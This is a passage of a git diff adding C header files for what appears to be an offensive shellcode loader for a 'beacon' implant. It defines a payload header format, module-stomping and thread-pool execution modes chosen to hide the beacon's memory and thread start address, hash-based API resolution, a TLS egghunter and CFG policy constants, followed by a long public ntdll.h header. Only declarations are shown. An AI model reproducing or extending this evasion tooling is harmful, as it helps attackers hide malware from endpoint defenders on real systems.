none) +// 16 4 OrigTextRva (.text RVA from beacon EXE) +// 20 4 Flags (NAX_FLAG_*) +// 24 128 StompDll (WCHAR[64], NUL-terminated, zero-padded) +// 152 8 Reserved +// --- total: 160 bytes --- +// +#define NAX_HDR_OFF_MAGIC 0 +#define NAX_HDR_OFF_BEACON_SZ 4 +#define NAX_HDR_OFF_PDATA_SZ 8 +#define NAX_HDR_OFF_XDATA_SZ 12 +#define NAX_HDR_OFF_TEXT_RVA 16 +#define NAX_HDR_OFF_FLAGS 20 +#define NAX_HDR_OFF_DLL_NAME 24 +#define NAX_HDR_OFF_RESERVED 152 + +// +// Stomp context tag - written by loader at TextBase + BeaconSize +// so beacon can discover the clean .text backup at boot. +// +#define NAX_STOMP_CTX_MAGIC 0x4E415854 /* "NAXT" */ + +// +// Compile-time technique selection +// +// NAX_STOMP_MODE: which memory allocation strategy the loader uses +// 0 = VirtualAlloc (private memory, PAGE_EXECUTE_READ) +// 1 = Module stomp (image-backed, sacrificial DLL .text) +// +// NAX_EXEC_MODE: how the beacon thread is started +// 0 = CreateThread (clean stack, but start address = beacon entry) +// 1 = Thread pool (start address = ntdll!TppWorkerThread) +// +#define NAX_STOMP_VIRTUAL 0 +#define NAX_STOMP_MODULE 1 + +#define NAX_EXEC_THREAD 0 +#define NAX_EXEC_THREADPOOL 1 + +#ifndef NAX_STOMP_MODE +#define NAX_STOMP_MODE NAX_STOMP_MODULE +#endif + +#ifndef NAX_EXEC_MODE +#define NAX_EXEC_MODE NAX_EXEC_THREADPOOL +#endif + + +#endif //STARDUST_DEFS_H diff --git a/src_loader/include/Ldr.h b/src_loader/include/Ldr.h new file mode 100644 index 0000000..31b6470 --- /dev/null +++ b/src_loader/include/Ldr.h @@ -0,0 +1,15 @@ +#ifndef STARDUST_LDR_H +#define STARDUST_LDR_H + +#include + +PVOID LdrModulePeb( + _In_ ULONG Hash +); + +PVOID LdrFunction( + _In_ PVOID Module, + _In_ ULONG Function +); + +#endif //STARDUST_LDR_H diff --git a/src_loader/include/Loader.h b/src_loader/include/Loader.h new file mode 100644 index 0000000..4c39981 --- /dev/null +++ b/src_loader/include/Loader.h @@ -0,0 +1,42 @@ +#ifndef NAX_LOADER_H +#define NAX_LOADER_H + +#include + +/* ========= [ Pe.c ] ========= */ + +PIMAGE_NT_HEADERS NaxPeHeaders( PVOID Base ); +PIMAGE_SECTION_HEADER NaxFindSection( PIMAGE_NT_HEADERS Nt, ULONG Characteristics ); +PIMAGE_SECTION_HEADER NaxFindSectionByDir( PIMAGE_NT_HEADERS Nt, ULONG DirIndex ); + +/* ========= [ Stomp.c ] ========= */ + +#if NAX_STOMP_MODE == NAX_STOMP_MODULE +VOID NaxPatchLdr( PVOID DllBase ); +PVOID NaxModuleStomp( + _In_ PVOID HdrPtr, + _In_ PVOID BeaconSrc, + _In_ ULONG BeaconSize, + _In_ PVOID PdataSrc, + _In_ ULONG PdataSize, + _In_ PVOID XdataSrc, + _In_ ULONG XdataSize, + _In_ ULONG OrigTextRva, + _In_ PWCHAR DllName ); +#endif + +/* ========= [ Exec.c ] ========= */ + +#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL +VOID NaxExecThreadPool( PVOID Entry ); +#elif NAX_EXEC_MODE == NAX_EXEC_THREAD +VOID NaxExecThread( PVOID Entry ); +#endif + +/* ========= [ Main.c ] ========= */ + +#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL +PVOID NaxAllocExec( _In_ PVOID BeaconSrc, _In_ ULONG BeaconSize ); +#endif + +#endif /* NAX_LOADER_H */ diff --git a/src_loader/include/Macros.h b/src_loader/include/Macros.h new file mode 100644 index 0000000..675d25e --- /dev/null +++ b/src_loader/include/Macros.h @@ -0,0 +1,97 @@ +#ifndef STARDUST_MACROS_H +#define STARDUST_MACROS_H + +// +// utils macros +// +#define D_API( x ) __typeof__( x ) * x; +#define D_SEC( x ) __attribute__( ( section( ".text$" #x "" ) ) ) +#define FUNC D_SEC( B ) +#define ST_READONLY __attribute__( ( section( ".rdata" ) ) ) + +// +// casting macros +// +#define C_PTR( x ) ( ( PVOID ) ( x ) ) +#define U_PTR( x ) ( ( UINT_PTR ) ( x ) ) +#define U_PTR32( x ) ( ( ULONG ) ( x ) ) +#define U_PTR64( x ) ( ( ULONG64 ) ( x ) ) +#define A_PTR( x ) ( ( PCHAR ) ( x ) ) +#define W_PTR( x ) ( ( PWCHAR ) ( x ) ) + +// +// dereference memory macros +// +#define C_DEF( x ) ( * ( PVOID* ) ( x ) ) +#define C_DEF08( x ) ( * ( UINT8* ) ( x ) ) +#define C_DEF16( x ) ( * ( UINT16* ) ( x ) ) +#define C_DEF32( x ) ( * ( UINT32* ) ( x ) ) +#define C_DEF64( x ) ( * ( UINT64* ) ( x ) ) + +// +// memory related macros +// +#define MmCopy __builtin_memcpy +#define MmSet __stosb +#define MmZero RtlSecureZeroMemory + +// +// page alignment helpers (LDR_ prefix avoids collisions with beacon headers) +// +#define LDR_PAGE_SIZE 0x1000 +#define LDR_PAGE_MASK 0xFFF +#define ALIGN_UP( size, align ) ( ( (SIZE_T)(size) + (SIZE_T)(align) - 1 ) & ~( (SIZE_T)(align) - 1 ) ) + +// +// CFG / mitigation policy constants +// +#define LDR_PROCESS_CFG_GUARD_POLICY 7 /* ProcessControlFlowGuardPolicy */ +#define LDR_CFG_CALL_TARGET_VALID 1 /* CFG_CALL_TARGET_VALID flag */ + +// +// instance related macros - TLS egghunter retrieval +// Walks TEB->TlsSlots[0..63], finds NtCurrentPeb() egg, reads next slot. +// +static __inline__ PVOID __TlsFindInstance( void ) { + PVOID peb = C_PTR( NtCurrentPeb() ); + PTEB teb = NtCurrentTeb(); + for ( UINT32 i = 0; i < 63; i++ ) { + if ( teb->TlsSlots[ i ] == peb ) + return teb->TlsSlots[ i + 1 ]; + } + return C_PTR( 0 ); +} +#define InstancePtr() ( ( PINSTANCE ) __TlsFindInstance() ) +#define Instance() ( ( PINSTANCE ) __LocalInstance ) +#define STARDUST_INSTANCE PINSTANCE __LocalInstance = InstancePtr(); + +// +// instance field shortcuts (ZPS Extending Stardust pattern) +// +#define MOD( x ) Instance()->Modules.x +#define API( x ) Instance()->Win32.x +#define RESOLVE( x, y ) ( API( x ) = (__typeof__( x )*)LdrFunction( MOD( y ), HASH_STR( #x ) ) ) + +// +// NaxHeader v2 - typed reads from on-disk header pointer +// +#define HDR_U32( h, off ) C_DEF32( C_PTR( U_PTR( h ) + (off) ) ) +#define HDR_WSTR( h, off ) W_PTR( U_PTR( h ) + (off) ) + +// +// pointer past the loader blob = start of NaxHeader +// +#define LOADER_END() C_PTR( U_PTR( Instance()->Base.Buffer ) + Instance()->Base.Length ) + +/* Clion IDE hacks */ +#ifdef __cplusplus +#define CONSTEXPR constexpr +#define TEMPLATE_TYPENAME template +#define INLINE inline +#else +#define CONSTEXPR +#define TEMPLATE_TYPENAME +#define INLINE +#endif + +#endif //STARDUST_MACROS_H diff --git a/src_loader/include/Native.h b/src_loader/include/Native.h new file mode 100644 index 0000000..4e6e759 --- /dev/null +++ b/src_loader/include/Native.h @@ -0,0 +1,22546 @@ +/* + ntdll.h + User Mode, 32bit & 64bit version + Visual Studio 6.0 - Visual Studio 2010 and MingW compatible + Intel C++ Compiler (ICL) 11.x - 12.x prefered + + (c) 2019 - Rokas Kupstys + (c) 2009, 2010, 2011 - Fyyre + (c) 2011 - 2012 EP_X0FF + (c) 2011 - rndbit + + version 1.26 ( increment this if changes has global effect ) + please mark your changes date begin / date end comments + + last change 04/01/2012 + + note: Please use _M_X86/_M_X64 for if(n)def/endif conditionals, instead of WIN32/WIN64. +*/ + +#if !defined(_NTDLL_) +#define _NTDLL_ + +#pragma warning( disable:4001 ) // level 4 error - nonstandard extension 'single line comment' was used +#pragma warning( disable:4201 ) // level 4 error - nonstandard extension used : nameless struct/union - ANSI C violation +#pragma warning( disable:4214 ) // level 4 error - nonstandard extension used : bit field types other than int - ANSI C violation + +#if defined(__ICL) +#pragma warning ( disable : 344 ) +#endif + +#pragma pack( push, 8 ) + +#if defined(__cplusplus) +extern "C" { +#endif + +#include +#include + +#if !defined(NTSTATUS) +typedef LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#if !defined(SECURITY_STATUS) +typedef LONG SECURITY_STATUS; +#endif + +#define EXPORT_FN __declspec(dllexport) +#define IMPORT_FN __declspec(dllimport) + +#define PAGE_SIZE 0x1000 + +#define EXTERNAL extern "C" + +#ifndef UNREFERENCED_PARAMETER +#define UNREFERENCED_PARAMETER(P) (P) +#endif + +#include "ntstatus.h" + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#define NT_INFORMATION(Status) ((ULONG)(Status) >> 30 == 1) +#define NT_WARNING(Status) ((ULONG)(Status) >> 30 == 2) +#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) + +#define ABSOLUTE_TIME(wait) (wait) +#define RELATIVE_TIME(wait) (-(wait)) +#define NANOSECONDS(nanos) \ + (((signed __int64)(nanos)) / 100L) +#define MICROSECONDS(micros) \ + (((signed __int64)(micros)) * NANOSECONDS(1000L)) +#define MILLISECONDS(milli) \ + (((signed __int64)(milli)) * MICROSECONDS(1000L)) +#define SECONDS(seconds) \ + (((signed __int64)(seconds)) * MILLISECONDS(1000L)) + +#define ARGUMENT_PRESENT(ArgumentPointer) (\ + (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) + +#define RESTORE_LIST(ListEntry) \ + ListEntry.Flink = ListEntry.Flink; \ + ListEntry.Blink = ListEntry.Blink + +#define UNLINK(x) (x).Blink->Flink = (x).Flink; \ + (x).Flink->Blink = (x).Blink; + +#define ALIGN_TO_POWER2( x, n ) (((ULONG)(x) + ((n)-1)) & ~((ULONG)(n)-1)) + +#define POI(addr) *(ULONG *)(addr) + +#define IS_PATH_SEPARATOR(ch) ((ch == '\\') || (ch == '/')) +#define IS_DOT(s) ( s[0] == '.' && ( IS_PATH_SEPARATOR(s[1]) || s[1] == '\0') ) +#define IS_DOT_DOT(s) ( s[0] == '.' && s[1] == '.' && ( IS_PATH_SEPARATOR(s[2]) || s[2] == '\0') ) + +#define IS_PATH_SEPARATOR_U(ch) ((ch == (WCHAR)'\\') || (ch == (WCHAR)'/')) +#define IS_DOT_U(s) ( s[0] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[1]) || s[1] == UNICODE_NULL) ) +#define IS_DOT_DOT_U(s) ( s[0] == (WCHAR)'.' && s[1] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[2]) || s[2] == UNICODE_NULL) ) + +#define jmp_length(y,x) ((x-y)-5) +#define stc_jc(y,x) ((x-y)-7) + +#define MODIFYBYTE( _base, _offset, _byte ) { ((unsigned char *)_base)[_offset] = (unsigned char)_byte; } +#define MODIFYWORD( _base, _offset, _word ) { ((unsigned short *)_base)[_offset] = (unsigned short)_word; } +#define MODIFYDWORD( _base, _offset, _dword ) { ((unsigned long *)_base)[_offset] = (unsigned long)_dword; } +#define MODIFYQWORD( _base, _offset, _qword ) { ((unsigned long long *)_base)[_offset] = (unsigned long long)_qword; } + +#define PTR_ADD_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset))) + +#define WRITE_JMP( from, to ) { ((PCHAR)from)[0] = (CHAR)0xE9; *((ULONG_PTR *)&(((PCHAR)(from))[1])) = (PCHAR)(to) - (PCHAR)(from) - 5; } +#define GET_JMP( from ) (((PCHAR)from)[0]==(CHAR)0xE9)? (*((ULONG_PTR *)&(((PCHAR)(from))[1])) + 5 + (ULONG_PTR)(from)) : 0 + +#define ASSERT( exp ) ((void) 0) + +// +// The following macros store and retrieve USHORTS and ULONGS from potentially unaligned addresses, avoiding alignment faults. +// + +// 31.05.2011 - added the following macros +#define SHORT_SIZE (sizeof(USHORT)) +#define SHORT_MASK (SHORT_SIZE - 1) +#define LONG_SIZE (sizeof(LONG)) +#define LONG_MASK (LONG_SIZE - 1) +#define LOWBYTE_MASK 0x00FF + +#define FIRSTBYTE(VALUE) (VALUE & LOWBYTE_MASK) +#define SECONDBYTE(VALUE) ((VALUE >> 8) & LOWBYTE_MASK) +#define THIRDBYTE(VALUE) ((VALUE >> 16) & LOWBYTE_MASK) +#define FOURTHBYTE(VALUE) ((VALUE >> 24) & LOWBYTE_MASK) + +// +// if MIPS Big Endian, order of bytes is reversed. +// + +#define SHORT_LEAST_SIGNIFICANT_BIT 0 +#define SHORT_MOST_SIGNIFICANT_BIT 1 + +#define LONG_LEAST_SIGNIFICANT_BIT 0 +#define LONG_3RD_MOST_SIGNIFICANT_BIT 1 +#define LONG_2ND_MOST_SIGNIFICANT_BIT 2 +#define LONG_MOST_SIGNIFICANT_BIT 3 + +//++ +// +// VOID +// RtlStoreUshort ( +// PUSHORT ADDRESS +// USHORT VALUE +// ) +// +// Routine Description: +// +// This macro stores a USHORT value in at a particular address, avoiding +// alignment faults. +// +// Arguments: +// +// ADDRESS - where to store USHORT value +// VALUE - USHORT to store +// +// Return Value: +// +// none. +// +//-- + +#define RtlStoreUshort(ADDRESS,VALUE) \ + if ((ULONG_PTR)ADDRESS & SHORT_MASK) { \ + ((PUCHAR) ADDRESS)[SHORT_LEAST_SIGNIFICANT_BIT] = (UCHAR)(FIRSTBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[SHORT_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ + } \ + else { \ + *((PUSHORT) ADDRESS) = (USHORT) VALUE; \ + } + + +//++ +// +// VOID +// RtlStoreUlong ( +// PULONG ADDRESS +// ULONG VALUE +// ) +// +// Routine Description: +// +// This macro stores a ULONG value in at a particular address, avoiding +// alignment faults. +// +// Arguments: +// +// ADDRESS - where to store ULONG value +// VALUE - ULONG to store +// +// Return Value: +// +// none. +// +// Note: +// Depending on the machine, we might want to call storeushort in the +// unaligned case. +// +//-- + +#define RtlStoreUlong(ADDRESS,VALUE) \ + if ((ULONG_PTR)ADDRESS & LONG_MASK) { \ + ((PUCHAR) ADDRESS)[LONG_LEAST_SIGNIFICANT_BIT ] = (UCHAR)(FIRSTBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_3RD_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_2ND_MOST_SIGNIFICANT_BIT ] = (UCHAR)(THIRDBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_MOST_SIGNIFICANT_BIT ] = (UCHAR)(FOURTHBYTE(VALUE)); \ + } \ + else { \ + *((PULONG) ADDRESS) = (ULONG) VALUE; \ + } + +//++ +// +// VOID +// RtlRetrieveUshort ( +// PUSHORT DESTINATION_ADDRESS +// PUSHORT SOURCE_ADDRESS +// ) +// +// Routine Description: +// +// This macro retrieves a USHORT value from the SOURCE address, avoiding +// alignment faults. The DESTINATION address is assumed to be aligned. +// +// Arguments: +// +// DESTINATION_ADDRESS - where to store USHORT value +// SOURCE_ADDRESS - where to retrieve USHORT value from +// +// Return Value: +// +// none. +// +//-- + +#define RtlRetrieveUshort(DEST_ADDRESS,SRC_ADDRESS) \ + if ((ULONG_PTR)SRC_ADDRESS & SHORT_MASK) { \ + ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ + ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ + } \ + else { \ + *((PUSHORT) DEST_ADDRESS) = *((PUSHORT) SRC_ADDRESS); \ + } \ + +//++ +// +// VOID +// RtlRetrieveUlong ( +// PULONG DESTINATION_ADDRESS +// PULONG SOURCE_ADDRESS +// ) +// +// Routine Description: +// +// This macro retrieves a ULONG value from the SOURCE address, avoiding +// alignment faults. The DESTINATION address is assumed to be aligned. +// +// Arguments: +// +// DESTINATION_ADDRESS - where to store ULONG value +// SOURCE_ADDRESS - where to retrieve ULONG value from +// +// Return Value: +// +// none. +// +// Note: +// Depending on the machine, we might want to call retrieveushort in the +// unaligned case. +// +//-- + +#define RtlRetrieveUlong(DEST_ADDRESS,SRC_ADDRESS) \ + if ((ULONG_PTR)SRC_ADDRESS & LONG_MASK) { \ + ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ + ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ + ((PUCHAR) DEST_ADDRESS)[2] = ((PUCHAR) SRC_ADDRESS)[2]; \ + ((PUCHAR) DEST_ADDRESS)[3] = ((PUCHAR) SRC_ADDRESS)[3]; \ + } \ + else { \ + *((PULONG) DEST_ADDRESS) = *((PULONG) SRC_ADDRESS); \ + } + +//++ +// +// PCHAR +// RtlOffsetToPointer ( +// PVOID Base, +// ULONG Offset +// ) +// +// Routine Description: +// +// This macro generates a pointer which points to the byte that is 'Offset' +// bytes beyond 'Base'. This is useful for referencing fields within +// self-relative data structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Offset - An unsigned integer offset of the byte whose address is to +// be generated. +// +// Return Value: +// +// A PCHAR pointer to the byte that is 'Offset' bytes beyond 'Base'. +// +// +//-- + +#define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) + + +//++ +// +// ULONG +// RtlPointerToOffset ( +// PVOID Base, +// PVOID Pointer +// ) +// +// Routine Description: +// +// This macro calculates the offset from Base to Pointer. This is useful +// for producing self-relative offsets for structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Pointer - A pointer to a field, presumably within the structure +// pointed to by Base. This value must be larger than that specified +// for Base. +// +// Return Value: +// +// A ULONG offset from Base to Pointer. +// +// +//-- + +#define RtlPointerToOffset(B,P) ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B)) )) +// 31.05.2011 - end + +// +// Data Types -- DOT NOT modify -- modification will break 32bit & 64bit compatibly. +// + +typedef char CCHAR; +typedef short CSHORT; +typedef CCHAR *PCCHAR; +typedef CSHORT *PCSHORT; +typedef ULONG CLONG; +typedef ULONG *PCLONG; + +typedef ULONG LOGICAL; +typedef ULONG *PLOGICAL; + +typedef LONG KPRIORITY; + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING *PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +typedef struct _CSTRING +{ + USHORT Length; + USHORT MaximumLength; + CONST char *Buffer; +} CSTRING; +typedef CSTRING *PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING, **PPUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +typedef struct _STRING32 +{ + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32 *PSTRING32; + +typedef STRING32 UNICODE_STRING32; +typedef UNICODE_STRING32 *PUNICODE_STRING32; +#define UNICODE_NULL ((WCHAR)0) + +typedef STRING32 ANSI_STRING32; +typedef ANSI_STRING32 *PANSI_STRING32; + +typedef struct _STRING64 +{ + USHORT Length; + USHORT MaximumLength; + ULONG_PTR Buffer; +} STRING64; + +typedef STRING64 *PSTRING64; + +typedef STRING64 UNICODE_STRING64; +typedef UNICODE_STRING64 *PUNICODE_STRING64; + +typedef STRING64 ANSI_STRING64; +typedef ANSI_STRING64 *PANSI_STRING64; + +typedef USHORT RTL_ATOM; +typedef RTL_ATOM *PRTL_ATOM; + +typedef UCHAR KIRQL; +typedef KIRQL *PKIRQL; + +typedef CONST char *PCSZ; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +#if !defined( _WINNT_ ) + +typedef struct _LIST_ENTRY { + struct _LIST_ENTRY *Flink; + struct _LIST_ENTRY *Blink; +} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; + +#define FIELD_OFFSET(type, field) ((LONG)&(((type *)0)->field)) + +#define CONTAINING_RECORD(address, type, field) ((type FAR *)( \ + (PCHAR)(address) - \ + (PCHAR)(&((type *)0)->field))) +#endif + +typedef struct _TRIPLE_LIST_ENTRY +{ + struct _TRIPLE_LIST_ENTRY* Flink[ 3 ]; + struct _TRIPLE_LIST_ENTRY* Blink; +} TRIPLE_LIST_ENTRY, *PTRIPLE_LIST_ENTRY; + +#define IN_REGION(x, Base, Size) (((ULONG)x >= (ULONG_PTR)Base) && ((ULONG)x <= (ULONG_PTR)Base + (ULONG)Size)) + +#ifndef RVATOVA +#define RVATOVA(base, offset) ((PVOID)((ULONG)base + (ULONG)(offset))) +#endif + +#ifndef NOP_FUNCTION +#define NOP_FUNCTION (void)0 +#endif +#define PAGED_CODE() NOP_FUNCTION; + +#if defined(USE_LPC6432) +#define LPC_CLIENT_ID CLIENT_ID64 +#define LPC_SIZE_T ULONGLONG +#define LPC_PVOID ULONGLONG +#define LPC_HANDLE ULONGLONG +#else +#define LPC_CLIENT_ID CLIENT_ID +#define LPC_SIZE_T SIZE_T +#define LPC_PVOID PVOID +#define LPC_HANDLE HANDLE +#endif + +#define OBJ_INHERIT 0x00000002L +#define OBJ_HANDLE_TAGBITS 0x00000003L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +#define RTL_QUERY_PROCESS_MODULES 0x00000001 +#define RTL_QUERY_PROCESS_BACKTRACES 0x00000002 +#define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004 +#define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008 +#define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010 +#define RTL_QUERY_PROCESS_LOCKS 0x00000020 +#define RTL_QUERY_PROCESS_MODULES32 0x00000040 +#define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000 + +typedef enum _PS_ATTRIBUTE_NUM +{ + PsAttributeParentProcess = 0 /*0x0*/, + PsAttributeDebugObject = 1 /*0x1*/, + PsAttributeToken = 2 /*0x2*/, + PsAttributeClientId = 3 /*0x3*/, + PsAttributeTebAddress = 4 /*0x4*/, + PsAttributeImageName = 5 /*0x5*/, + PsAttributeImageInfo = 6 /*0x6*/, + PsAttributeMemoryReserve = 7 /*0x7*/, + PsAttributePriorityClass = 8 /*0x8*/, + PsAttributeErrorMode = 9 /*0x9*/, + PsAttributeStdHandleInfo = 10 /*0xA*/, + PsAttributeHandleList = 11 /*0xB*/, + PsAttributeMax = 12 /*0xC*/ +}PS_ATTRIBUTE_NUM, *PPS_ATTRIBUTE_NUM; + +typedef struct _NT_PROC_THREAD_ATTRIBUTE_ENTRY +{ + ULONG_PTR Attribute; + ULONG_PTR Size; + ULONG_PTR* pValue; + ULONG_PTR Unknown; +} PROC_THREAD_ATTRIBUTE_ENTRY, *PPROC_THREAD_ATTRIBUTE_ENTRY; + +typedef struct _PROC_THREAD_ATTRIBUTE_LIST +{ + ULONG_PTR Length; + PROC_THREAD_ATTRIBUTE_ENTRY Entry; +} PROC_THREAD_ATTRIBUTE_LIST, *PPROC_THREAD_ATTRIBUTE_LIST; + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // SECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; +typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES; + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} + +//added 20.12.11 +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(___PROCESSOR_NUMBER_DEFINED) +#define ___PROCESSOR_NUMBER_DEFINED +typedef struct _PROCESSOR_NUMBER { + WORD Group; + BYTE Number; + BYTE Reserved; +} PROCESSOR_NUMBER, *PPROCESSOR_NUMBER; +#endif + +#if _WIN32_WINNT >= 0x0501 + +#define ANSI_NULL ((CHAR)0) +#define UNICODE_NULL ((WCHAR)0) + +#ifndef UNICODE_STRING_MAX_BYTES +#define UNICODE_STRING_MAX_BYTES ((USHORT) 65534) +#endif + +#define UNICODE_STRING_MAX_CHARS (32767) + +#define DECLARE_CONST_UNICODE_STRING(_variablename, _string) \ + const WCHAR _variablename ## _buffer[] = _string; \ + const UNICODE_STRING _variablename = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWSTR) _variablename ## _buffer }; + +#endif // _WIN32_WINNT >= 0x0501 + +#define IsListEmpty(ListHead) \ + ((ListHead)->Flink == (ListHead)) + +#define InitializeListHead(ListHead) (\ + (ListHead)->Flink = (ListHead)->Blink = (ListHead)) + +#define IsListEmpty(ListHead) \ + ((ListHead)->Flink == (ListHead)) + +#define RemoveHeadList(ListHead) \ + (ListHead)->Flink;\ + {RemoveEntryList((ListHead)->Flink)} + +#define RemoveTailList(ListHead) \ + (ListHead)->Blink;\ + {RemoveEntryList((ListHead)->Blink)} + +// VOID +// RemoveEntryList( +// _In_ PLIST_ENTRY Entry +// ); +#define RemoveEntryList(Entry) {\ + PLIST_ENTRY _EX_Blink;\ + PLIST_ENTRY _EX_Flink;\ + _EX_Flink = (Entry)->Flink;\ + _EX_Blink = (Entry)->Blink;\ + _EX_Blink->Flink = _EX_Flink;\ + _EX_Flink->Blink = _EX_Blink;\ + } + + +// VOID +// InsertTailList( +// _In_ PLIST_ENTRY ListHead, +// _In_ PLIST_ENTRY Entry +// ); +#define InsertTailList(ListHead,Entry) {\ + PLIST_ENTRY _EX_Blink;\ + PLIST_ENTRY _EX_ListHead;\ + _EX_ListHead = (ListHead);\ + _EX_Blink = _EX_ListHead->Blink;\ + (Entry)->Flink = _EX_ListHead;\ + (Entry)->Blink = _EX_Blink;\ + _EX_Blink->Flink = (Entry);\ + _EX_ListHead->Blink = (Entry);\ + } + +// VOID +// InsertHeadList( +// _In_ PLIST_ENTRY ListHead, +// _In_ PLIST_ENTRY Entry +// ); +#define InsertHeadList(ListHead,Entry) {\ + PLIST_ENTRY _EX_Flink;\ + PLIST_ENTRY _EX_ListHead;\ + _EX_ListHead = (ListHead);\ + _EX_Flink = _EX_ListHead->Flink;\ + (Entry)->Flink = _EX_Flink;\ + (Entry)->Blink = _EX_ListHead;\ + _EX_Flink->Blink = (Entry);\ + _EX_ListHead->Flink = (Entry);\ + } + +// BOOL +// COUNT_IS_ALIGNED( +// _In_ DWORD Count, +// _In_ DWORD Pow2 // undefined if this isn't a power of 2. +// ); +// +#define COUNT_IS_ALIGNED(Count,Pow2) \ + ( ( ( (Count) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) + +// BOOL +// POINTER_IS_ALIGNED( +// _In_ LPVOID Ptr, +// _In_ DWORD Pow2 // undefined if this isn't a power of 2. +// ); +// +#define POINTER_IS_ALIGNED(Ptr,Pow2) \ + ( ( ( ((DWORD)(Ptr)) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) + + +#define ROUND_DOWN_COUNT(Count,Pow2) \ + ( (Count) & (~((Pow2)-1)) ) + +#define ROUND_DOWN_POINTER(Ptr,Pow2) \ + ( (LPVOID) ROUND_DOWN_COUNT( ((DWORD)(Ptr)), (Pow2) ) ) + + +// If Count is not already aligned, then +// round Count up to an even multiple of "Pow2". "Pow2" must be a power of 2. +// +// DWORD +// ROUND_UP_COUNT( +// _In_ DWORD Count, +// _In_ DWORD Pow2 +// ); +#define ROUND_UP_COUNT(Count,Pow2) \ + ( ((Count)+(Pow2)-1) & (~((Pow2)-1)) ) + +// LPVOID +// ROUND_UP_POINTER( +// _In_ LPVOID Ptr, +// _In_ DWORD Pow2 +// ); + +// If Ptr is not already aligned, then round it up until it is. +#define ROUND_UP_POINTER(Ptr,Pow2) \ + ( (LPVOID) ( (((DWORD)(Ptr))+(Pow2)-1) & (~((Pow2)-1)) ) ) + +#define ALIGN_BYTE 1 +#define ALIGN_CHAR 1 +#define ALIGN_DESC_CHAR sizeof(DESC_CHAR) +#define ALIGN_DWORD 4 +#define ALIGN_LONG 4 +#define ALIGN_LPBYTE 4 +#define ALIGN_LPDWORD 4 +#define ALIGN_LPSTR 4 +#define ALIGN_LPTSTR 4 +#define ALIGN_LPVOID 4 +#define ALIGN_LPWORD 4 +#define ALIGN_TCHAR sizeof(TCHAR) +#define ALIGN_WCHAR sizeof(WCHAR) +#define ALIGN_WORD 2 +#define ALIGN_QUAD 8 + +#define ALIGN_WORST 8 + +//03.06.2011 - added +#define QUAD_ALIGN(VALUE) ( ((ULONG)(VALUE) + 7) & ~7 ) +//03.06.2011 - end + +// Usage: 